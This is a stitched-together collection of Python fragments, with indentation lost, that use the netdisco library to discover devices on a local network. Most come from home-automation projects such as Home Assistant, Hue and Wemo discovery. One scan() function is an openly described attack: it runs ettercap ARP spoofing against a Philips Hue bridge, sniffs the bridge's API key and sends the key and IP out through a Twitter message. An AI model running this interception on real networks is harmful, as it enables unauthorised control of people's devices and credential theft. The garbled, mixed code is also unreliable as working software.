def discover():
hue_bridges = []
LOG.info('Searching for Hue devices...')
netdis = NetworkDiscovery()
netdis.scan()
for dev in netdis.discover():
for info in netdis.get_info(dev):
if 'name' in info and 'Philips hue' in info['name']:
hue_bridges.append(info)
LOG.info('Hue bridge found: %s', info['host'])
netdis.stop()
if len(hue_bridges) == 1:
return hue_bridges[0]['host']
if len(hue_bridges) == 2:
LOG.warning('More than one Hue bridge found.')
elif not hue_bridges:
LOG.warning('No Hue bridges found.')
return None
def search_upnp_services():
netdis = NetworkDiscovery()
netdis.scan()
for dev in netdis.discover():
print(dev, netdis.get_info(dev))
netdis.stop()
def cli(ctx: Configuration, raw):
"""Discovery for the local network."""
from netdisco.discovery import NetworkDiscovery
click.echo("Running discovery on network (might take a while)...")
netdiscovery = NetworkDiscovery()
netdiscovery.scan()
for device in netdiscovery.discover():
info = netdiscovery.get_info(device)
click.echo("{}:\n{}".format(device, format_output(ctx, info)))
if raw:
click.echo("Raw data:")
netdiscovery.print_raw_data()
netdiscovery.stop()
def async_setup(hass, config):
"""Start a discovery service."""
from netdisco.discovery import NetworkDiscovery
logger = logging.getLogger(__name__)
netdisco = NetworkDiscovery()
already_discovered = set()
# Disable zeroconf logging, it spams
logging.getLogger('zeroconf').setLevel(logging.CRITICAL)
# Platforms ignore by config
ignored_platforms = config[DOMAIN][CONF_IGNORE]
@asyncio.coroutine
def new_service_found(service, info):
"""Called when a new service is found."""
if service in ignored_platforms:
logger.info("Ignoring service: %s %s", service, info)
return
comp_plat = SERVICE_HANDLERS.get(service)
# We do not know how to handle this service.
if not comp_plat:
return
discovery_hash = json.dumps([service, info], sort_keys=True)
if discovery_hash in already_discovered:
return
already_discovered.add(discovery_hash)
logger.info("Found new service: %s %s", service, info)
component, platform = comp_plat
if platform is None:
yield from async_discover(hass, service, info, component, config)
else:
yield from async_load_platform(
hass, component, platform, info, config)
@asyncio.coroutine
def scan_devices(_):
"""Scan for devices."""
results = yield from hass.loop.run_in_executor(
None, _discover, netdisco)
for result in results:
hass.async_add_job(new_service_found(*result))
async_track_point_in_utc_time(hass, scan_devices,
dt_util.utcnow() + SCAN_INTERVAL)
hass.bus.async_listen_once(EVENT_HOMEASSISTANT_START, scan_devices)
return True
def __init__(self, targetDeviceName=None):
try:
self.netdis = NetworkDiscovery()
self.netdis.scan()
# Declare variables, not war.
self.targetDeviceName = targetDeviceName
self.targetDevice = {}
print(
'Scanning Network for Belkin Wemo Insight Target Device Name: {}'
.format(self.targetDeviceName))
self.discover()
self.netdis.stop()
except Exception as e:
print('ERROR - {}'.format(e))
sys.exit(1)
def scan():
# Set up variables we might use
hue_ip = ""
api_key = ""
# We begin this attack by assuming that the chip has a WiFi connection to the network that the hue is on...
# Our first step is discover the ip address of the hue bridge (controller device)
# Run NUPnP GET request for Hue
r = requests.get("https://www.meethue.com/api/nupnp")
if "ipaddress" in r.text:
hue_ip = find_between(r.text, 'internalipaddress":"', '"')
keys.hue_ip = hue_ip
print("Found hue bridge at " + hue_ip)
# Use Slower UPnP lookup method if NUPnP fails.
if hue_ip is "":
print("NUPnP lookup failed. Trying UPnP search...")
netdis = NetworkDiscovery()
netdis.scan()
for dev in netdis.discover():
if "hue" in dev:
hue_ip = find_between(netdis.get_info(dev)[0][0], "(", ")")
keys.hue_ip = hue_ip
print("Found hue bridge at " + hue_ip)
netdis.stop()
# Exit if hue bridge IP is still not found
if hue_ip is "":
print("No hue device found on the network. Better luck next time!")
keys.hue_scanner_running = False
twitterSender.sendmessage("Sorry! I didn't find any skittles :(")
return
# If a bridge is found, our next step is to intercept any data being send to it...
print("\nNow the stakeout begins!")
print("Starting Ettercap to collect all data sent to " + hue_ip)
args = shlex.split('ettercap -T -M ARP -e "api/" /// //'+hue_ip+'/80')
while api_key is "":
ettercap = subprocess.Popen(args, stdout=subprocess.PIPE)
time.sleep(20)
ettercap.terminate()
capoutput = str(ettercap.communicate()[0], 'utf-8')
capoutput = capoutput.replace('/api/nouser', '') # we don't want to hit on this api key so we strip it out
if 'api/' in capoutput:
api_key="gotit"
# print(capoutput) --if enabled, prints packet output to console when the api key is found
api_key = find_between(capoutput, "api/", "/")
api_key = api_key.partition(' ')[0]
keys.hue_api = api_key
twitterSender.sendmessage("Hey! I got you some skittles! :)" + keys.hue_api + " " + keys.hue_ip)
keys.hue_scanner_running = False
def search_upnp_services(): netdis = NetworkDiscovery() netdis.scan() for dev in netdis.discover(): print(dev, netdis.get_info(dev)) netdis.stop()
def cli(ctx):
"""Discovery for the local network."""
from netdisco.discovery import NetworkDiscovery
netdiscovery = NetworkDiscovery()
netdiscovery.scan()
for device in netdiscovery.discover():
print(device, netdiscovery.get_info(device))
netdiscovery.stop()
ctx.vlog('Discovery executed: %s', timestamp())
def main():
""" Handle command line execution. """
netdisco = NetworkDiscovery()
netdisco.scan()
# Pass in command line argument dump to get the raw data
if sys.argv[-1] == 'dump':
netdisco.print_raw_data()
print()
print()
print("Discovered devices:")
count = 0
for dev in netdisco.discover():
count += 1
print(dev, netdisco.get_info(dev))
print()
print("Discovered {} devices".format(count))
netdisco.stop()
def discover() -> List[str]:
try:
from netdisco.discovery import NetworkDiscovery
netdis = NetworkDiscovery()
netdis.scan()
results: List[str] = []
for dev in netdis.discover():
if dev in ('philips_tv', 'DLNA'):
info = netdis.get_info(dev)
logger.info("Discovered %s %s", dev, info)
results.extend([dev['host'] for dev in info])
netdis.stop()
return results
except ImportError:
return []
def main():
""" Handle command line execution. """
netdisco = NetworkDiscovery()
netdisco.scan()
# Pass in command line argument dump to get the raw data
if sys.argv[-1] == 'dump':
netdisco.print_raw_data()
print()
print()
print("Discovered devices:")
count = 0
for dev in netdisco.discover():
count += 1
print(dev, netdisco.get_info(dev))
print()
print("Discovered {} devices".format(count))
netdisco.stop()
class uPnPDiscovery:
def __init__(self, targetDeviceName=None):
try:
self.netdis = NetworkDiscovery()
self.netdis.scan()
# Declare variables, not war.
self.targetDeviceName = targetDeviceName
self.targetDevice = {}
print(
'Scanning Network for Belkin Wemo Insight Target Device Name: {}'
.format(self.targetDeviceName))
self.discover()
self.netdis.stop()
except Exception as e:
print('ERROR - {}'.format(e))
sys.exit(1)
def getTargetDevice(self):
return (self.targetDevice)
def discover(self):
try:
for device in self.netdis.discover():
#print(dev, netdis.get_info(dev)) # Debugging
if device == "belkin_wemo": # Discover Belkin Wemo devices
for element in self.netdis.get_info(device):
if element[
'model_name'] == "Insight": # Check it's a Wemo Insight model.
if element[
'name'] == self.targetDeviceName: # Check it matches our target name.
# Update empty dictionary with our discovered device.
self.targetDevice['ip'] = element['host']
self.targetDevice['port'] = element['port']
print(
'Found Belkin Wemo Insight Device matching Target Name: {}, IP: {}, Port: {}'
.format(element['name'], element['host'],
element['port']))
else:
print(
'Found Belkin Wemo Insight Device Name: {}, but did not match Target Name: {}. Skipping.'
.format(element['name'],
self.targetDeviceName))
pass
except Exception as e:
print('ERROR - {}'.format(e))
sys.exit(1)
class KodiDiscovery(Node):
""" Node that discovers Kodi instances on the network. """
def __init__(self, *args, **kwargs):
super(KodiDiscovery, self).__init__(*args, **kwargs)
self._netdisco = NetworkDiscovery()
def discover(self, **_):
""" Discover Kodi on Network """
dlna_clients = self._netdisco.get_info('DLNA')
for client in dlna_clients:
try:
response = requests.get(client)
except requests.exceptions.ConnectionError:
self.parent.poly.send_error(
'Error fetching DLNA data for: {}'.format(client))
continue
try:
dlna_info = xmltodict.parse(response.text)
except xml.parsers.expat.ExpatError:
self.parent.poly.send_error(
'Error parsing DLNA data for: {}'.format(client))
continue
if dlna_info['root']['device']['modelName'] in ['Kodi', 'XBMC']:
addr = dlna_info['root']['device']['presentationURL']
udn = dlna_info['root']['device']['UDN']
name = dlna_info['root']['device']['friendlyName']
name = re.sub('[^A-Za-z0-9 ]+', '', name)
self.parent.found_kodi(addr, udn, name)
return True
_commands = {"NETDISCO": discover}
node_def_id = 'KODIDISCO'
def _run_netdisco(self):
netdis = NetworkDiscovery()
netdis.scan()
for device_type in netdis.discover():
device_info = netdis.get_info(device_type)[0]
device_ip = device_info['host']
device_info['device_type'] = device_type
# Find MAC based on IP
try:
with self._host_state.lock:
device_mac = self._host_state.ip_mac_dict[device_ip]
except KeyError:
continue
# Get device_id based on MAC
device_id = utils.get_device_id(device_mac, self._host_state)
# Submit for upload lter
with self._host_state.lock:
self._host_state.pending_netdisco_dict \
.setdefault(device_id, []).append(device_info)
async def async_setup(hass, config):
"""Start a discovery service."""
logger = logging.getLogger(__name__)
netdisco = NetworkDiscovery()
already_discovered = set()
if DOMAIN in config:
# Platforms ignore by config
ignored_platforms = config[DOMAIN][CONF_IGNORE]
# Optional platforms enabled by config
enabled_platforms = config[DOMAIN][CONF_ENABLE]
else:
ignored_platforms = []
enabled_platforms = []
for platform in enabled_platforms:
if platform in DEFAULT_ENABLED:
logger.warning(
"Please remove %s from your discovery.enable configuration "
"as it is now enabled by default",
platform,
)
zeroconf_instance = await zeroconf.async_get_instance(hass)
# Do not scan for types that have already been converted
# as it will generate excess network traffic for questions
# the zeroconf instance already knows the answers
zeroconf_types = list(await async_get_zeroconf(hass))
async def new_service_found(service, info):
"""Handle a new service if one is found."""
if service in MIGRATED_SERVICE_HANDLERS:
return
if service in ignored_platforms:
logger.info("Ignoring service: %s %s", service, info)
return
discovery_hash = json.dumps([service, info], sort_keys=True)
if discovery_hash in already_discovered:
logger.debug("Already discovered service %s %s.", service, info)
return
already_discovered.add(discovery_hash)
if service in CONFIG_ENTRY_HANDLERS:
await hass.config_entries.flow.async_init(
CONFIG_ENTRY_HANDLERS[service],
context={"source": config_entries.SOURCE_DISCOVERY},
data=info,
)
return
service_details = SERVICE_HANDLERS.get(service)
if not service_details and service in enabled_platforms:
service_details = OPTIONAL_SERVICE_HANDLERS[service]
# We do not know how to handle this service.
if not service_details:
logger.debug("Unknown service discovered: %s %s", service, info)
return
logger.info("Found new service: %s %s", service, info)
if service_details.platform is None:
await async_discover(hass, service, info,
service_details.component, config)
else:
await async_load_platform(hass, service_details.component,
service_details.platform, info, config)
async def scan_devices(now):
"""Scan for devices."""
try:
results = await hass.async_add_executor_job(
_discover, netdisco, zeroconf_instance, zeroconf_types)
for result in results:
hass.async_create_task(new_service_found(*result))
except OSError:
logger.error("Network is unreachable")
async_track_point_in_utc_time(hass, scan_devices,
dt_util.utcnow() + SCAN_INTERVAL)
@callback
def schedule_first(event):
"""Schedule the first discovery when Home Assistant starts up."""
async_track_point_in_utc_time(hass, scan_devices, dt_util.utcnow())
hass.bus.async_listen_once(EVENT_HOMEASSISTANT_STARTED, schedule_first)
return True
async def async_setup(hass, config):
"""Start a discovery service."""
from netdisco.discovery import NetworkDiscovery
logger = logging.getLogger(__name__)
netdisco = NetworkDiscovery()
already_discovered = set()
# Disable zeroconf logging, it spams
logging.getLogger('zeroconf').setLevel(logging.CRITICAL)
# Platforms ignore by config
ignored_platforms = config[DOMAIN][CONF_IGNORE]
# Optional platforms enabled by config
enabled_platforms = config[DOMAIN][CONF_ENABLE]
async def new_service_found(service, info):
"""Handle a new service if one is found."""
if service in ignored_platforms:
logger.info("Ignoring service: %s %s", service, info)
return
discovery_hash = json.dumps([service, info], sort_keys=True)
if discovery_hash in already_discovered:
return
already_discovered.add(discovery_hash)
if service in CONFIG_ENTRY_HANDLERS:
await hass.config_entries.flow.async_init(
CONFIG_ENTRY_HANDLERS[service],
context={'source': config_entries.SOURCE_DISCOVERY},
data=info
)
return
comp_plat = SERVICE_HANDLERS.get(service)
if not comp_plat and service in enabled_platforms:
comp_plat = OPTIONAL_SERVICE_HANDLERS[service]
# We do not know how to handle this service.
if not comp_plat:
logger.info("Unknown service discovered: %s %s", service, info)
return
logger.info("Found new service: %s %s", service, info)
component, platform = comp_plat
if platform is None:
await async_discover(hass, service, info, component, config)
else:
await async_load_platform(
hass, component, platform, info, config)
async def scan_devices(now):
"""Scan for devices."""
results = await hass.async_add_job(_discover, netdisco)
for result in results:
hass.async_add_job(new_service_found(*result))
async_track_point_in_utc_time(hass, scan_devices,
dt_util.utcnow() + SCAN_INTERVAL)
@callback
def schedule_first(event):
"""Schedule the first discovery when Home Assistant starts up."""
async_track_point_in_utc_time(hass, scan_devices, dt_util.utcnow())
# discovery local services
if 'HASSIO' in os.environ:
hass.async_add_job(new_service_found(SERVICE_HASSIO, {}))
hass.bus.async_listen_once(EVENT_HOMEASSISTANT_START, schedule_first)
return True
import time
from netdisco.discovery import NetworkDiscovery
from netdisco.ssdp import SSDP
netdis = NetworkDiscovery()
netdis.scan()
time.sleep(45)
for dev in netdis.discover():
print
dev, netdis.get_info(dev)
netdis.print_raw_data()
netdis.stop()
tt = SSDP()
pp = tt.scan(timeout=60)
print
pp
"""
import miniupnpc
import socket
import BaseHTTPServer
def list_redirections():
i = 0
while True:
p = u.getgenericportmapping(i)
if p == None:
break
print i, p
i=i+1
def __init__(self, *args, **kwargs):
super(KodiDiscovery, self).__init__(*args, **kwargs)
self._netdisco = NetworkDiscovery()
from netdisco.discovery import NetworkDiscovery
import json
netdis = NetworkDiscovery()
VERSION = 1
print(json.dumps({'version': VERSION}))
netdis.scan()
for dev in netdis.discover():
print(json.dumps({'device': dev, 'info': netdis.get_info(dev)}))
netdis.stop()
# Cast stop
cast_stop_parser = subparsers.add_parser('cast-stop',
help='stop casting desktop to client')
# List Clients
list_clients_parser = subparsers.add_parser('list-clients',
help='list all available clients')
args = parser.parse_args()
if args.command == "cast-stop":
subprocess.Popen("killall vlc", shell=True)
sys.exit()
if args.command == "list-clients":
netdis = NetworkDiscovery()
netdis.scan()
for dev in netdis.discover():
client_name = dev
client_ip = re.search(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
str(netdis.get_info(dev))).group()
print(dev + ":" + client_ip)
netdis.stop()
print("LivingRoom:192.168.0.15")
print("Balcony:192.168.0.18")
sys.exit()
AUDIO_SETTINGS = " --no-video --no-sout-video" if args.audio_only else ""
SOUND_DEVICE_SETTINGS = " --input-slave=pulse://" + \
subprocess.getoutput(
import time
from netdisco.discovery import NetworkDiscovery
netdis = NetworkDiscovery()
netdis.scan()
for dev in netdis.discover():
print(dev, netdis.get_info(dev))
print(netdis.discover())
netdis.stop()
from __future__ import print_function
import sys
from netdisco.discovery import NetworkDiscovery
nd = NetworkDiscovery()
nd.scan()
# Pass in command line argument dump to get the raw data
if sys.argv[-1] == 'dump':
nd.print_raw_data()
print()
print()
print("Discovered devices:")
count = 0
for dev in nd.discover():
count += 1
print(dev, nd.get_info(dev))
print()
print("Discovered {} devices".format(count))
nd.stop()
async def async_setup(opp, config):
"""Start a discovery service."""
logger = logging.getLogger(__name__)
netdisco = NetworkDiscovery()
already_discovered = set()
# Disable zeroconf logging, it spams
logging.getLogger("zeroconf").setLevel(logging.CRITICAL)
if DOMAIN in config:
# Platforms ignore by config
ignored_platforms = config[DOMAIN][CONF_IGNORE]
# Optional platforms enabled by config
enabled_platforms = config[DOMAIN][CONF_ENABLE]
else:
ignored_platforms = []
enabled_platforms = []
for platform in enabled_platforms:
if platform in DEFAULT_ENABLED:
logger.warning(
"Please remove %s from your discovery.enable configuration "
"as it is now enabled by default",
platform,
)
async def new_service_found(service, info):
"""Handle a new service if one is found."""
if service in MIGRATED_SERVICE_HANDLERS:
return
if service in ignored_platforms:
logger.info("Ignoring service: %s %s", service, info)
return
discovery_hash = json.dumps([service, info], sort_keys=True)
if discovery_hash in already_discovered:
logger.debug("Already discovered service %s %s.", service, info)
return
already_discovered.add(discovery_hash)
if service in CONFIG_ENTRY_HANDLERS:
await opp.config_entries.flow.async_init(
CONFIG_ENTRY_HANDLERS[service],
context={"source": config_entries.SOURCE_DISCOVERY},
data=info,
)
return
comp_plat = SERVICE_HANDLERS.get(service)
if not comp_plat and service in enabled_platforms:
comp_plat = OPTIONAL_SERVICE_HANDLERS[service]
# We do not know how to handle this service.
if not comp_plat:
logger.info("Unknown service discovered: %s %s", service, info)
return
logger.info("Found new service: %s %s", service, info)
component, platform = comp_plat
if platform is None:
await async_discover(opp, service, info, component, config)
else:
await async_load_platform(opp, component, platform, info, config)
async def scan_devices(now):
"""Scan for devices."""
try:
results = await opp.async_add_job(_discover, netdisco)
for result in results:
opp.async_create_task(new_service_found(*result))
except OSError:
logger.error("Network is unreachable")
async_track_point_in_utc_time(
opp, scan_devices, dt_util.utcnow() + SCAN_INTERVAL
)
@callback
def schedule_first(event):
"""Schedule the first discovery when Open Peer Power starts up."""
async_track_point_in_utc_time(opp, scan_devices, dt_util.utcnow())
opp.bus.async_listen_once(EVENT_OPENPEERPOWER_START, schedule_first)
return True
import time
from netdisco.discovery import NetworkDiscovery
netdis = NetworkDiscovery()
netdis.scan()
for dev in netdis.discover():
print(dev, netdis.get_info(dev))
netdis.stop()